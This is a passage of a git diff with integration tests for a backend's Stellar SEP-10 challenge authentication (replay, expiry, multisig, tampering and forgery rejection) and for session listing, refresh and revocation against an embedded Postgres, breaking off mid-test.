networkPassphrase, + homeDomain, + webAuthDomain, + ); + expect(read.clientAccountID).toBe(clientKp.publicKey()); + const tx = read.tx; + expect(Number(tx.sequence)).toBe(0); + expect(Number(tx.timeBounds!.maxTime) - Number(tx.timeBounds!.minTime)).toBe(300); + + // The issuance ledger recorded the binding. + const row = await prisma.sep10Challenge.findUnique({ where: { nonce: challengeNonce(res.body.transaction) } }); + expect(row).not.toBeNull(); + expect(row!.userId).toBe(userId); + expect(row!.account).toBe(clientKp.publicKey()); + expect(row!.consumedAt).toBeNull(); + expect(row!.expiresAt.getTime()).toBe(Number(tx.timeBounds!.maxTime) * 1000); + }); + + it('rejects an invalid account parameter with 400 (shape and checksum)', async () => { + const { accessToken } = await signupVerified('bad-account'); + const rowsBefore = await prisma.sep10Challenge.count(); + const tooShort = await getChallenge(accessToken, 'GNOTAKEY'); + expect(tooShort.status).toBe(400); + expect(tooShort.body.message).toMatch(/valid Stellar public key/); + + // Right shape, corrupted checksum. + const valid = Keypair.random().publicKey(); + const corrupted = valid.slice(0, -1) + (valid.endsWith('A') ? 'B' : 'A'); + const badChecksum = await getChallenge(accessToken, corrupted); + expect(badChecksum.status).toBe(400); + expect(badChecksum.body.message).toMatch(/valid Stellar public key/); + + const missing = await request(app).get('/payments/sep10/challenge').set('Authorization', `Bearer ${accessToken}`); + expect(missing.status).toBe(400); + + // Nothing was recorded for any of them. + expect(await prisma.sep10Challenge.count()).toBe(rowsBefore); + }); + + it('rejects unauthenticated requests to both endpoints', async () => { + const noAuthGet = await request(app).get('/payments/sep10/challenge').query({ account: Keypair.random().publicKey() }); + expect(noAuthGet.status).toBe(401); + + const noAuthPost = await request(app).post('/payments/sep10/verify').send({ transaction: 'x' }); + expect(noAuthPost.status).toBe(401); + }); + + it('rejects an unauthenticated-email account with 403 EMAIL_NOT_VERIFIED', async () => { + const email = `sep10-unverified-${runId}@example.com`; + const signup = await request(app) + .post('/auth/signup') + .send({ role: 'patient', email, password: PASSWORD, fullName: 'SEP10 Unverified' }); + expect(signup.status).toBe(200); + const token = signup.body.accessToken as string; + + const res = await getChallenge(token, Keypair.random().publicKey()); + expect(res.status).toBe(403); + expect(res.body.code).toBe('EMAIL_NOT_VERIFIED'); + }); + + // --- happy path + single use ------------------------------------------- + + it('verifies a signed challenge end-to-end and consumes the nonce', async () => { + const { accessToken, userId } = await signupVerified('happy'); + const clientKp = Keypair.random(); + + const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); + + const verify = await postVerify(accessToken, signed); + expect(verify.status).toBe(200); + expect(verify.body).toEqual({ account: clientKp.publicKey(), signers: [clientKp.publicKey()], userId }); + + const row = await prisma.sep10Challenge.findUnique({ where: { nonce: challengeNonce(signed) } }); + expect(row!.consumedAt).not.toBeNull(); + }); + + it('rejects a replayed challenge', async () => { + const { accessToken } = await signupVerified('replay'); + const clientKp = Keypair.random(); + const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); + + expect((await postVerify(accessToken, signed)).status).toBe(200); + + const replay = await postVerify(accessToken, signed); + expect(replay.status).toBe(401); + expect(replay.body.code).toBe('SEP10_CHALLENGE_ALREADY_USED'); + }); + + it('lets exactly ONE of several concurrent verifies succeed', async () => { + const { accessToken } = await signupVerified('concurrent'); + const clientKp = Keypair.random(); + const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); + + // Genuinely concurrent: all in flight before any response is read. + // The nonce is consumed by a single conditional UPDATE, so exactly one + // request can win β€” the same DB-level pattern as double-booking. + const results = await Promise.all(Array.from({ length: 8 }, () => postVerify(accessToken, signed))); + + const succeeded = results.filter((r) => r.status === 200); + const rejected = results.filter((r) => r.status === 401); + expect(succeeded).toHaveLength(1); + expect(rejected).toHaveLength(7); + for (const r of rejected) expect(r.body.code).toBe('SEP10_CHALLENGE_ALREADY_USED'); + }); + + // --- expiry ----------------------------------------------------------- + + it('rejects a challenge whose time bounds have expired', async () => { + const { accessToken } = await signupVerified('expired-bounds'); + const clientKp = Keypair.random(); + + // Build (with the real server key) a challenge that expired long ago β€” + // beyond the SDK's 5-minute clock-drift grace window. + const { Account, BASE_FEE, Operation, TransactionBuilder: TB } = await import('@stellar/stellar-sdk'); + const now = Math.floor(Date.now() / 1000); + const expired = new TB(new Account(serverKp.publicKey(), '-1'), { + fee: BASE_FEE, + networkPassphrase, + timebounds: { minTime: now - 1800, maxTime: now - 1200 }, + }) + .addOperation( + Operation.manageData({ name: `${homeDomain} auth`, value: 'a'.repeat(64), source: clientKp.publicKey() }), + ) + .addOperation(Operation.manageData({ name: 'web_auth_domain', value: webAuthDomain, source: serverKp.publicKey() })) + .build(); + expired.sign(serverKp); + + const res = await postVerify(accessToken, signChallenge(expired.toEnvelope().toXDR('base64'), clientKp)); + expect(res.status).toBe(400); + expect(res.body.code).toBe('SEP10_INVALID_CHALLENGE'); + expect(res.body.message).toMatch(/expired/); + }); + + it('rejects a challenge whose nonce record has expired', async () => { + const { accessToken } = await signupVerified('expired-record'); + const clientKp = Keypair.random(); + const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); + + // The tx time bounds still allow the SDK's drift grace, but OUR + // ledger row is past its issued expiry β€” the stricter check wins. + await prisma.sep10Challenge.update({ + where: { nonce: challengeNonce(signed) }, + data: { expiresAt: new Date(Date.now() - 60_000) }, + }); + + const res = await postVerify(accessToken, signed); + expect(res.status).toBe(401); + expect(res.body.code).toBe('SEP10_CHALLENGE_EXPIRED'); + }); + + // --- signatures: wrong signer, multisig, unfunded ---------------------- + + it('rejects a challenge signed by a key that is not a signer', async () => { + const { accessToken } = await signupVerified('wrong-signer'); + const clientKp = Keypair.random(); + const attackerKp = Keypair.random(); + + const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), attackerKp); + + const res = await postVerify(accessToken, signed); + expect(res.status).toBe(401); + expect(res.body.code).toBe('SEP10_INVALID_SIGNATURE'); + // The nonce was NOT burned by a failed verification. + const row = await prisma.sep10Challenge.findUnique({ where: { nonce: challengeNonce(signed) } }); + expect(row!.consumedAt).toBeNull(); + }); + + it('rejects a challenge carrying an extra unrecognized signature', async () => { + const { accessToken } = await signupVerified('extra-sig'); + const clientKp = Keypair.random(); + + const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp, Keypair.random()); + + const res = await postVerify(accessToken, signed); + expect(res.status).toBe(401); + expect(res.body.code).toBe('SEP10_INVALID_SIGNATURE'); + }); + + it('accepts a multisig account when signer weights meet the medium threshold', async () => { + const { accessToken } = await signupVerified('multisig-ok'); + const clientKp = Keypair.random(); + const signer1 = Keypair.random(); + const signer2 = Keypair.random(); + // threshold 3; weights 1 + 2 β€” only BOTH signatures together pass. + accountOverrides.set(clientKp.publicKey(), { + accountId: clientKp.publicKey(), + thresholds: { low_threshold: 0, med_threshold: 3, high_threshold: 3 }, + signers: [ + { key: clientKp.publicKey(), weight: 1, type: 'ed25519_public_key' }, + { key: signer1.publicKey(), weight: 1, type: 'ed25519_public_key' }, + { key: signer2.publicKey(), weight: 2, type: 'ed25519_public_key' }, + ], + }); + + const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), signer1, signer2); + + const res = await postVerify(accessToken, signed); + expect(res.status).toBe(200); + expect(new Set(res.body.signers)).toEqual(new Set([signer1.publicKey(), signer2.publicKey()])); + }); + + it('rejects a multisig challenge below the threshold, including single signers of differing weights', async () => { + const { accessToken } = await signupVerified('multisig-below'); + const clientKp = Keypair.random(); + const signer1 = Keypair.random(); // weight 1 + const signer2 = Keypair.random(); // weight 2 β€” still below threshold 3 alone + accountOverrides.set(clientKp.publicKey(), { + accountId: clientKp.publicKey(), + thresholds: { low_threshold: 0, med_threshold: 3, high_threshold: 3 }, + signers: [ + { key: clientKp.publicKey(), weight: 1, type: 'ed25519_public_key' }, + { key: signer1.publicKey(), weight: 1, type: 'ed25519_public_key' }, + { key: signer2.publicKey(), weight: 2, type: 'ed25519_public_key' }, + ], + }); + + // The heaviest single signer (weight 2) still misses threshold 3… + const heavyOnly = await issueAndSign(accessToken, clientKp.publicKey(), signer2); + const heavyRes = await postVerify(accessToken, heavyOnly.signed); + expect(heavyRes.status).toBe(401); + expect(heavyRes.body.code).toBe('SEP10_INVALID_SIGNATURE'); + expect(heavyRes.body.message).toMatch(/threshold/); + + // …and so does the lightest one. + const lightOnly = await issueAndSign(accessToken, clientKp.publicKey(), signer1); + const lightRes = await postVerify(accessToken, lightOnly.signed); + expect(lightRes.status).toBe(401); + expect(lightRes.body.code).toBe('SEP10_INVALID_SIGNATURE'); + }); + + it('accepts an UNFUNDED account only when the master key signs (SEP-10 spec)', async () => { + const { accessToken } = await signupVerified('unfunded'); + const unfundedKp = Keypair.random(); + accountOverrides.set(unfundedKp.publicKey(), null); // Horizon 404 β€” not yet created + + // Spec rule: no signers/thresholds exist on-chain yet, so the master + // key of the client account must sign the challenge. + const { signed } = await issueAndSign(accessToken, unfundedKp.publicKey(), unfundedKp); + const ok = await postVerify(accessToken, signed); + expect(ok.status).toBe(200); + expect(ok.body.signers).toEqual([unfundedKp.publicKey()]); + + // A different key standing in for an unfunded account must fail. + const another = await issueAndSign(accessToken, unfundedKp.publicKey(), Keypair.random()); + const bad = await postVerify(accessToken, another.signed); + expect(bad.status).toBe(401); + expect(bad.body.code).toBe('SEP10_INVALID_SIGNATURE'); + }); + + // --- binding and the nonce ledger -------------------------------------- + + it('rejects a challenge issued to user A when user B submits it', async () => { + const a = await signupVerified('user-a'); + const b = await signupVerified('user-b'); + const clientKp = Keypair.random(); + + const { signed } = await issueAndSign(a.accessToken, clientKp.publicKey(), clientKp); + expect((await postVerify(a.accessToken, signed)).status).toBe(200); + + // Even ignoring consumption: B can never redeem A's challenge. Reissue + // a fresh one to demonstrate the binding, not the single-use rule. + const fresh = await issueAndSign(a.accessToken, clientKp.publicKey(), clientKp); + const res = await postVerify(b.accessToken, fresh.signed); + expect(res.status).toBe(403); + expect(res.body.code).toBe('SEP10_CHALLENGE_NOT_FOR_CALLER'); + }); + + it('rejects a challenge whose recorded account does not match the challenge tx', async () => { + const { accessToken } = await signupVerified('account-mismatch'); + const clientKp = Keypair.random(); + const otherKp = Keypair.random(); + + const { signed } = await issueAndSign(accessToken, clientKp.publicKey(), clientKp); + // Simulate a ledger row whose account binding no longer matches the + // transaction's client account (e.g. tampering or a bad migration). + await prisma.sep10Challenge.update({ + where: { nonce: challengeNonce(signed) }, + data: { account: otherKp.publicKey() }, + }); + + const res = await postVerify(accessToken, signed); + expect(res.status).toBe(403); + expect(res.body.code).toBe('SEP10_CHALLENGE_NOT_FOR_CALLER'); + }); + + it('rejects a structurally valid challenge that was never issued by this server', async () => { + const { accessToken } = await signupVerified('unknown-nonce'); + const clientKp = Keypair.random(); + + // Perfectly signed by the real server key β€” but its nonce is not in + // our issuance ledger (nobody issued it, or the row was pruned). + const forged = WebAuth.buildChallengeTx(serverKp, clientKp.publicKey(), homeDomain, 300, networkPassphrase, webAuthDomain); + + const res = await postVerify(accessToken, signChallenge(forged, clientKp)); + expect(res.status).toBe(401); + expect(res.body.code).toBe('SEP10_CHALLENGE_UNKNOWN'); + }); + + it('rejects a tampered challenge that has extra client-sourced operations', async () => { + const { accessToken } = await signupVerified('tampered'); + const clientKp = Keypair.random(); + + const challengeRes = await getChallenge(accessToken, clientKp.publicKey()); + const challenge = challengeRes.body.transaction as string; + + // Rebuild the challenge with an added client-sourced op (invalid per + // SEP-10: extra ops must be server-sourced Manage Data), re-signed by + // the server key so only the structural rule can catch it. + const { Account, BASE_FEE, Operation, TransactionBuilder: TB } = await import('@stellar/stellar-sdk'); + const original = TransactionBuilder.fromXDR(challenge, networkPassphrase) as Transaction; + const tampered = new TB(new Account(serverKp.publicKey(), '-1'), { + fee: BASE_FEE, + networkPassphrase, + timebounds: { minTime: Number(original.timeBounds!.minTime), maxTime: Number(original.timeBounds!.maxTime) }, + }) + .addOperation( + Operation.manageData({ name: `${homeDomain} auth`, value: 'a'.repeat(64), source: clientKp.publicKey() }), + ) + .addOperation(Operation.manageData({ name: 'web_auth_domain', value: webAuthDomain, source: serverKp.publicKey() })) + .addOperation(Operation.manageData({ name: 'sneaky', value: 'x', source: clientKp.publicKey() })) + .build(); + tampered.sign(serverKp); + + const res = await postVerify(accessToken, signChallenge(tampered.toEnvelope().toXDR('base64'), clientKp)); + expect(res.status).toBe(400); + expect(res.body.code).toBe('SEP10_INVALID_CHALLENGE'); + }); +}); diff --git a/backend/tests/integration/sessions.test.mts b/backend/tests/integration/sessions.test.mts index 475e4262..5a852831 100644 --- a/backend/tests/integration/sessions.test.mts +++ b/backend/tests/integration/sessions.test.mts @@ -1,279 +1,279 @@ -// Session management (Phase 8 #38) β€” integration, against a real Postgres, -// because the properties under test are all about persistence: a session -// row exists per login, refresh updates it instead of creating a new one, -// revocation is enforced at refresh time, and ownership checks hold. -// -// Self-contained like the other integration suites: throwaway Postgres on -// port 5451 (one port per file β€” vitest runs files in parallel). -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5451; -const runId = Date.now(); - -process.env.DATABASE_URL = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-sessions-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -type App = ReturnType; - -function cookieFrom(res: request.Response): string { - const header = res.headers['set-cookie']?.[0]; - if (!header) throw new Error('no set-cookie header'); - return header.split(';')[0]; -} - -describe('session management', () => { - let app: App; - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let hashPassword: typeof import('../../src/modules/auth/services/password.js').hashPassword; - - const patientA = { email: `sessions-a-${runId}@example.com`, password: 'patient-a-password-1' }; - const patientB = { email: `sessions-b-${runId}@example.com`, password: 'patient-b-password-1' }; - - let tokenA: string; - let sessionIdA1: string; - let cookieA1: string; - let csrfA1: string; - let patientBUserId: string; - let tokenB: string; - let cookieB: string; - let csrfB: string; - - function login(email: string, password: string) { - return request(app).post('/auth/login').send({ email, password }); - } - - function sessions(token: string) { - return request(app).get('/auth/sessions').set('Authorization', `Bearer ${token}`); - } - - function refresh(cookie: string, csrfToken: string) { - return request(app).post('/auth/refresh').set('Cookie', cookie).set('X-CSRF-Token', csrfToken); - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - const [appModule, dbModule, passwordModule] = await Promise.all([ - import('../../src/app.js'), - import('../../src/db/prisma-client.js'), - import('../../src/modules/auth/services/password.js'), - ]); - app = appModule.createApp(); - prisma = dbModule.prisma; - hashPassword = passwordModule.hashPassword; - - const signupA = await request(app) - .post('/auth/signup') - .send({ role: 'patient', email: patientA.email, password: patientA.password, fullName: 'Session Patient A' }); - expect(signupA.status).toBe(200); - tokenA = signupA.body.accessToken as string; - sessionIdA1 = signupA.body.sessionId as string; - cookieA1 = cookieFrom(signupA); - csrfA1 = signupA.body.csrfToken as string; - - const signupB = await request(app) - .post('/auth/signup') - .send({ role: 'patient', email: patientB.email, password: patientB.password, fullName: 'Session Patient B' }); - expect(signupB.status).toBe(200); - tokenB = signupB.body.accessToken as string; - cookieB = cookieFrom(signupB); - csrfB = signupB.body.csrfToken as string; - patientBUserId = (await prisma.user.findUniqueOrThrow({ where: { email: patientB.email } })).id; - }); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('records a session per login and lists only the caller own sessions', async () => { - // A second login from a distinguishable client β€” this is what makes - // "sign out that other device" possible at all. - const second = await request(app) - .post('/auth/login') - .set('User-Agent', 'TestBrowser/1.0') - .send({ email: patientA.email, password: patientA.password }); - expect(second.status).toBe(200); - const sessionIdA2 = second.body.sessionId as string; - expect(sessionIdA2).not.toBe(sessionIdA1); - - const list = await sessions(tokenA); - expect(list.status).toBe(200); - expect(list.body).toHaveLength(2); - - const ids = list.body.map((s: { id: string }) => s.id); - expect(ids).toContain(sessionIdA1); - expect(ids).toContain(sessionIdA2); - - // The request context is recorded per session (coarse IP + user agent). - const a2 = list.body.find((s: { id: string }) => s.id === sessionIdA2); - expect(a2.userAgent).toBe('TestBrowser/1.0'); - expect(a2.ip).toBeTruthy(); - - // A different user sees only their own β€” never A's. - const listB = await sessions(tokenB); - expect(listB.body).toHaveLength(1); - expect(listB.body.map((s: { id: string }) => s.id)).not.toContain(sessionIdA1); - const bRow = await prisma.refreshSession.findUniqueOrThrow({ where: { id: listB.body[0].id } }); - expect(bRow.userId).toBe(patientBUserId); - }); - - it('marks the session behind the request cookie as current', async () => { - const list = await request(app).get('/auth/sessions').set('Authorization', `Bearer ${tokenA}`).set('Cookie', cookieA1); - const current = list.body.filter((s: { current: boolean }) => s.current); - expect(current).toHaveLength(1); - expect(current[0].id).toBe(sessionIdA1); - }); - - it('rotates tokens on refresh without creating a new session, and updates last-used', async () => { - const before = await prisma.refreshSession.findUniqueOrThrow({ where: { id: sessionIdA1 } }); - expect(await prisma.refreshSession.count({ where: { userId: before.userId } })).toBe(2); - - const refreshed = await refresh(cookieA1, csrfA1); - expect(refreshed.status).toBe(200); - // Same session (same family) β€” rotation does not fork the session. - expect(refreshed.body.sessionId).toBe(sessionIdA1); - expect(await prisma.refreshSession.count({ where: { userId: before.userId } })).toBe(2); - - const after = await prisma.refreshSession.findUniqueOrThrow({ where: { id: sessionIdA1 } }); - expect(after.lastUsedAt.getTime()).toBeGreaterThanOrEqual(before.lastUsedAt.getTime()); - - // Subsequent requests use the rotated cookie and CSRF token. - cookieA1 = cookieFrom(refreshed); - csrfA1 = refreshed.body.csrfToken as string; - }); - - it('does not let a user see or revoke another user sessions', async () => { - const foreign = await request(app) - .delete(`/auth/sessions/${sessionIdA1}`) - .set('Authorization', `Bearer ${tokenB}`); - // Scoped update: A's id simply doesn't match B's rows. - expect(foreign.status).toBe(404); - - // A's session is untouched. - expect((await refresh(cookieA1, csrfA1)).status).toBe(200); - const listA = await sessions(tokenA); - expect(listA.body.map((s: { id: string }) => s.id)).toContain(sessionIdA1); - - // And B can't enumerate it either. - const listB = await sessions(tokenB); - expect(listB.body.map((s: { id: string }) => s.id)).not.toContain(sessionIdA1); - }); - - it('rejects a revoked session refresh immediately', async () => { - // Send the cookie so "current" means this session β€” the *other* one is - // the one under test here. - const sessionsBefore = (await request(app).get('/auth/sessions').set('Authorization', `Bearer ${tokenA}`).set('Cookie', cookieA1)).body as { id: string; current: boolean }[]; - const other = sessionsBefore.find((s) => !s.current); - expect(other).toBeDefined(); - - const revoked = await request(app) - .delete(`/auth/sessions/${other?.id}`) - .set('Authorization', `Bearer ${tokenA}`); - expect(revoked.status).toBe(204); - - // The revoked session's cookie no longer works... - const revokedRow = await prisma.refreshSession.findUniqueOrThrow({ where: { id: other?.id } }); - expect(revokedRow.revokedAt).not.toBeNull(); - - // ...and the caller's own session still does. - expect((await refresh(cookieA1, csrfA1)).status).toBe(200); - - const after = (await sessions(tokenA)).body as { id: string }[]; - expect(after.map((s) => s.id)).not.toContain(other?.id); - }); - - it('clears the refresh cookie when the current session is revoked', async () => { - const refreshed = await refresh(cookieA1, csrfA1); - cookieA1 = cookieFrom(refreshed); - csrfA1 = refreshed.body.csrfToken as string; - - const revoked = await request(app) - .delete(`/auth/sessions/${sessionIdA1}`) - .set('Authorization', `Bearer ${tokenA}`) - .set('Cookie', cookieA1); - - expect(revoked.status).toBe(204); - const cleared = revoked.headers['set-cookie']?.[0] as unknown as string; - expect(cleared).toContain('docforum_refresh='); - expect(cleared).toMatch(/Expires=|Max-Age=0/); - - expect((await refresh(cookieA1, csrfA1)).status).toBe(401); - }); - - it('revokes every other session but keeps the current one', async () => { - const first = await login(patientA.email, patientA.password); - const second = await login(patientA.email, patientA.password); - const currentCookie = cookieFrom(second); - const currentCsrf = second.body.csrfToken as string; - const staleCookie = cookieFrom(first); - const staleCsrf = first.body.csrfToken as string; - - const result = await request(app) - .delete('/auth/sessions') - .set('Authorization', `Bearer ${tokenA}`) - .set('Cookie', currentCookie); - expect(result.status).toBe(200); - expect(result.body.revoked).toBeGreaterThanOrEqual(1); - - expect((await refresh(staleCookie, staleCsrf)).status).toBe(401); - expect((await refresh(currentCookie, currentCsrf)).status).toBe(200); - - // Make the surviving session the one the rest of the file uses. - const rotated = await refresh(currentCookie, currentCsrf); - cookieA1 = cookieFrom(rotated); - csrfA1 = rotated.body.csrfToken as string; - }); - - it('lets an admin revoke all sessions for a user, and only admins', async () => { - const adminEmail = `sessions-admin-${runId}@example.com`; - await prisma.user.create({ - data: { email: adminEmail, role: 'admin', passwordHash: await hashPassword('admin-password-1') }, - }); - const adminLogin = await login(adminEmail, 'admin-password-1'); - expect(adminLogin.status).toBe(200); - const adminToken = adminLogin.body.accessToken as string; - - const forbidden = await request(app) - .delete(`/admin/users/${patientBUserId}/sessions`) - .set('Authorization', `Bearer ${tokenB}`); - expect(forbidden.status).toBe(403); - - const asAdmin = await request(app) - .delete(`/admin/users/${patientBUserId}/sessions`) - .set('Authorization', `Bearer ${adminToken}`); - expect(asAdmin.status).toBe(200); - expect(asAdmin.body.revoked).toBeGreaterThanOrEqual(1); - - // B's refresh is dead β€” the session row is the kill switch. - expect((await refresh(cookieB, csrfB)).status).toBe(401); - expect((await sessions(tokenB)).body).toHaveLength(0); - }); -}); +// Session management (Phase 8 #38) β€” integration, against a real Postgres, +// because the properties under test are all about persistence: a session +// row exists per login, refresh updates it instead of creating a new one, +// revocation is enforced at refresh time, and ownership checks hold. +// +// Self-contained like the other integration suites: throwaway Postgres on +// port 5451 (one port per file β€” vitest runs files in parallel). +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5451; +const runId = Date.now(); + +process.env.DATABASE_URL = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-sessions-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +type App = ReturnType; + +function cookieFrom(res: request.Response): string { + const header = res.headers['set-cookie']?.[0]; + if (!header) throw new Error('no set-cookie header'); + return header.split(';')[0]; +} + +describe('session management', () => { + let app: App; + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let hashPassword: typeof import('../../src/modules/auth/services/password.js').hashPassword; + + const patientA = { email: `sessions-a-${runId}@example.com`, password: 'patient-a-password-1' }; + const patientB = { email: `sessions-b-${runId}@example.com`, password: 'patient-b-password-1' }; + + let tokenA: string; + let sessionIdA1: string; + let cookieA1: string; + let csrfA1: string; + let patientBUserId: string; + let tokenB: string; + let cookieB: string; + let csrfB: string; + + function login(email: string, password: string) { + return request(app).post('/auth/login').send({ email, password }); + } + + function sessions(token: string) { + return request(app).get('/auth/sessions').set('Authorization', `Bearer ${token}`); + } + + function refresh(cookie: string, csrfToken: string) { + return request(app).post('/auth/refresh').set('Cookie', cookie).set('X-CSRF-Token', csrfToken); + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + const [appModule, dbModule, passwordModule] = await Promise.all([ + import('../../src/app.js'), + import('../../src/db/prisma-client.js'), + import('../../src/modules/auth/services/password.js'), + ]); + app = appModule.createApp(); + prisma = dbModule.prisma; + hashPassword = passwordModule.hashPassword; + + const signupA = await request(app) + .post('/auth/signup') + .send({ role: 'patient', email: patientA.email, password: patientA.password, fullName: 'Session Patient A' }); + expect(signupA.status).toBe(200); + tokenA = signupA.body.accessToken as string; + sessionIdA1 = signupA.body.sessionId as string; + cookieA1 = cookieFrom(signupA); + csrfA1 = signupA.body.csrfToken as string; + + const signupB = await request(app) + .post('/auth/signup') + .send({ role: 'patient', email: patientB.email, password: patientB.password, fullName: 'Session Patient B' }); + expect(signupB.status).toBe(200); + tokenB = signupB.body.accessToken as string; + cookieB = cookieFrom(signupB); + csrfB = signupB.body.csrfToken as string; + patientBUserId = (await prisma.user.findUniqueOrThrow({ where: { email: patientB.email } })).id; + }); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('records a session per login and lists only the caller own sessions', async () => { + // A second login from a distinguishable client β€” this is what makes + // "sign out that other device" possible at all. + const second = await request(app) + .post('/auth/login') + .set('User-Agent', 'TestBrowser/1.0') + .send({ email: patientA.email, password: patientA.password }); + expect(second.status).toBe(200); + const sessionIdA2 = second.body.sessionId as string; + expect(sessionIdA2).not.toBe(sessionIdA1); + + const list = await sessions(tokenA); + expect(list.status).toBe(200); + expect(list.body).toHaveLength(2); + + const ids = list.body.map((s: { id: string }) => s.id); + expect(ids).toContain(sessionIdA1); + expect(ids).toContain(sessionIdA2); + + // The request context is recorded per session (coarse IP + user agent). + const a2 = list.body.find((s: { id: string }) => s.id === sessionIdA2); + expect(a2.userAgent).toBe('TestBrowser/1.0'); + expect(a2.ip).toBeTruthy(); + + // A different user sees only their own β€” never A's. + const listB = await sessions(tokenB); + expect(listB.body).toHaveLength(1); + expect(listB.body.map((s: { id: string }) => s.id)).not.toContain(sessionIdA1); + const bRow = await prisma.refreshSession.findUniqueOrThrow({ where: { id: listB.body[0].id } }); + expect(bRow.userId).toBe(patientBUserId); + }); + + it('marks the session behind the request cookie as current', async () => { + const list = await request(app).get('/auth/sessions').set('Authorization', `Bearer ${tokenA}`).set('Cookie', cookieA1); + const current = list.body.filter((s: { current: boolean }) => s.current); + expect(current).toHaveLength(1); + expect(current[0].id).toBe(sessionIdA1); + }); + + it('rotates tokens on refresh without creating a new session, and updates last-used', async () => { + const before = await prisma.refreshSession.findUniqueOrThrow({ where: { id: sessionIdA1 } }); + expect(await prisma.refreshSession.count({ where: { userId: before.userId } })).toBe(2); + + const refreshed = await refresh(cookieA1, csrfA1); + expect(refreshed.status).toBe(200); + // Same session (same family) β€” rotation does not fork the session. + expect(refreshed.body.sessionId).toBe(sessionIdA1); + expect(await prisma.refreshSession.count({ where: { userId: before.userId } })).toBe(2); + + const after = await prisma.refreshSession.findUniqueOrThrow({ where: { id: sessionIdA1 } }); + expect(after.lastUsedAt.getTime()).toBeGreaterThanOrEqual(before.lastUsedAt.getTime()); + + // Subsequent requests use the rotated cookie and CSRF token. + cookieA1 = cookieFrom(refreshed); + csrfA1 = refreshed.body.csrfToken as string; + }); + + it('does not let a user see or revoke another user sessions', async () => { + const foreign = await request(app) + .delete(`/auth/sessions/${sessionIdA1}`) + .set('Authorization', `Bearer ${tokenB}`); + // Scoped update: A's id simply doesn't match B's rows. + expect(foreign.status).toBe(404); + + // A's session is untouched. + expect((await refresh(cookieA1, csrfA1)).status).toBe(200); + const listA = await sessions(tokenA); + expect(listA.body.map((s: { id: string }) => s.id)).toContain(sessionIdA1); + + // And B can't enumerate it either. + const listB = await sessions(tokenB); + expect(listB.body.map((s: { id: string }) => s.id)).not.toContain(sessionIdA1); + }); + + it('rejects a revoked session refresh immediately', async () => { + // Send the cookie so "current" means this session β€” the *other* one is + // the one under test here. + const sessionsBefore = (await request(app).get('/auth/sessions').set('Authorization', `Bearer ${tokenA}`).set('Cookie', cookieA1)).body as { id: string; current: boolean }[]; + const other = sessionsBefore.find((s) => !s.current); + expect(other).toBeDefined(); + + const revoked = await request(app) + .delete(`/auth/sessions/${other?.id}`) + .set('Authorization', `Bearer ${tokenA}`); + expect(revoked.status).toBe(204); + + // The revoked session's cookie no longer works... + const revokedRow = await prisma.refreshSession.findUniqueOrThrow({ where: { id: other?.id } }); + expect(revokedRow.revokedAt).not.toBeNull(); + + // ...and the caller's own session still does. + expect((await refresh(cookieA1, csrfA1)).status).toBe(200); + + const after = (await sessions(tokenA)).body as { id: string }[]; + expect(after.map((s) => s.id)).not.toContain(other?.id); + }); + + it('clears the refresh cookie when the current session is revoked', async () => { + const refreshed = await refresh(cookieA1, csrfA1); + cookieA1 = cookieFrom(refreshed); + csrfA1 = refreshed.body.csrfToken as string; + + const revoked = await request(app) + .delete(`/auth/sessions/${sessionIdA1}`) + .set('Authorization', `Bearer ${tokenA}`) + .set('Cookie', cookieA1); + + expect(revoked.status).toBe(204); + const cleared = revoked.headers['set-cookie']?.[0] as unknown as string; + expect(cleared).toContain('docforum_refresh='); + expect(cleared).toMatch(/Expires=|Max-Age=0/); + + expect((await refresh(cookieA1, csrfA1)).status).toBe(401); + }); + + it('revokes every other session but keeps the current one', async () => { + const first = await login(patientA.email, patientA.password); + const second = await login(patientA.email, patientA.password); + const currentCookie = cookieFrom(second); + const currentCsrf = second.body.csrfToken as string; + const staleCookie = 